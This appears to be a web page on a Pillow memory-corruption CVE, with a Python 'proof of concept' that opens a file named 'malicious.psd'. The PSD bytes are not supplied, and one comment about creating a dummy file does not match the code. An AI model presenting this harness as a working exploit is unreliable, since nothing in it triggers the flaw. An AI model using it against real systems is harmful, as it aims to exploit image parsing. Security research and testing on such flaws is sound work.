CVE-2026-42311 Pillow内存损坏漏洞

import sys from PIL import Image # Proof of Concept for CVE-2026-42311 # This script demonstrates the trigger condition by attempting to open # a crafted malicious PSD file. def trigger_vulnerability(file_path): try: print(f"[*] Attempting to open {file_path}...") # The vulnerability is triggered during the parsing of the PSD file img = Image.open(file_path) # Force the image data to be loaded to trigger the parsing logic img.load() print("[+] File processed successfully (Vulnerability likely not triggered or patched).") except Exception as e: print(f"[-] An exception occurred: {e}") # Depending on the specific corruption, this might be a crash or a controlled error if __name__ == "__main__": # In a real scenario, 'malicious.psd' would contain the specific bytes # causing the memory corruption. malicious_file = "malicious.psd" # Create a dummy file for demonstration purposes if it doesn't exist # (Actual exploit requires specific binary structure) try: with open(malicious_file, "rb") as f: pass except FileNotFoundError: print("[!] Please provide a valid malicious PSD file named 'malicious.psd' to test.") sys.exit(1) trigger_vulnerability(malicious_file)